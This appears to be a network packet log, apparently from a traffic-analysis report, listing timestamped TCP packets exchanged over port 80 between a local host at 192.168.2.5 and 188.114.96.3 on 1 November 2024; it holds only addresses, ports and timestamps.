Nov 1, 2024 15:15:00.556543112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556555033 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556566000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556576967 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556587934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556596041 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.556596041 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.556596994 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556610107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556627989 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.556649923 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.556719065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.557288885 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557301044 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557311058 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557322025 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557334900 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557353020 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557363033 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557374954 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557385921 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557398081 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557408094 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557419062 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557426929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557437897 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557447910 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557450056 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.557451010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.557451010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.557451010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.557451010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.557459116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557471037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557482004 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557492971 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557497025 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.557497025 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.557503939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557514906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557526112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557537079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557548046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557549000 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.557549000 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.557559013 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.557590961 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.557601929 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.558070898 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558084011 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558094978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558134079 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.558171988 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.558341026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558352947 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558374882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558387041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558396101 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.558396101 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.558398008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558409929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558420897 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558432102 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558444977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558449030 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.558455944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558459044 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.558465004 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558478117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558487892 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558497906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558502913 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.558502913 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.558509111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558521032 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.558537960 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.558566093 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.559700012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.559770107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.559781075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.559828043 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.559837103 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.559839964 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.559853077 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.559864998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.559880018 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.559905052 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.559907913 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.559917927 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.559973955 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.559973955 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.559978008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.559988976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.559995890 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560084105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560101986 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560113907 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.560113907 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560125113 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560137033 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560194969 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.560194969 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.560194969 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.560221910 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560235977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560283899 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.560283899 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.560379982 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560391903 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560403109 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560415030 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560425997 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560436010 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560447931 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560458899 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.560458899 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.560461044 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560475111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560502052 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.560519934 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.560622931 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560633898 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560645103 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560655117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560666084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560673952 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.560678959 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560719013 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.560736895 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.560739994 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560930014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560940981 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560950994 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560961962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560973883 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.560975075 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.560986996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561000109 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561000109 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.561012030 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561022997 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.561023951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561036110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561048031 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561058044 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561073065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.561073065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.561078072 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561089993 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561106920 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561109066 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.561109066 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.561141968 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.561248064 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.561391115 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561403036 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561413050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561424971 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561453104 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.561475039 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.561542034 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561553001 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561563969 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561579943 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561592102 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561595917 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.561604023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561614990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561625957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561630011 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.561630011 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.561638117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561649084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561660051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561671019 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561676979 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.561682940 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561696053 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.561700106 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.561731100 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.561731100 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.562050104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562062025 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562072992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562083960 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562098026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562119007 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.562139034 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.562223911 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562239885 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562251091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562263012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562273979 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562285900 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562303066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562314034 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562325001 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562330008 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.562335968 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562347889 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562347889 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.562359095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562371969 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562374115 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.562382936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562393904 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562397003 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.562407017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562419891 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.562446117 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.562446117 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.562614918 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562747955 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562758923 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562768936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562781096 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562793016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562799931 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.562805891 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562815905 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562828064 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562839985 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.562839985 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.562855959 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.562872887 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.563050985 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563062906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563074112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563086033 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563097954 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.563097954 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563111067 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563122988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563131094 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.563158035 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.563169956 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.563194036 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563205957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563216925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563229084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563240051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563254118 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.563254118 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.563260078 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563271046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563282013 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563286066 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.563292980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563303947 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563321114 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563332081 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563334942 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.563334942 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.563343048 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563355923 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563366890 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563378096 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563378096 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.563390017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563390970 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.563400984 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.563466072 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.563466072 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.565692902 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.585129023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585143089 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585161924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585171938 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585181952 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585194111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585205078 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585213900 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.585238934 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.585249901 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.585427999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585438967 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585448980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585459948 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585469961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585477114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.585483074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585494041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585505009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585515976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585515976 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.585544109 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.585544109 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.585561037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.585719109 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585731030 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585741043 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585752010 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585805893 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.585805893 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.585855961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585867882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585879087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585890055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585901022 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585912943 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585912943 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.585912943 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.585925102 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585936069 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585947990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585948944 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.585959911 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585969925 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.585969925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585980892 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.585993052 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586000919 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.586000919 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.586057901 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.586577892 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586590052 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586599112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586611032 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586621046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586639881 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586651087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586662054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586664915 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.586664915 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.586673975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586684942 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586689949 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.586698055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586708069 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586721897 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586738110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586750031 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586760998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586769104 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.586769104 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.586769104 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.586775064 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586786985 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586797953 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586801052 CET	49874	80	192.168.2.5	188.114.96.3
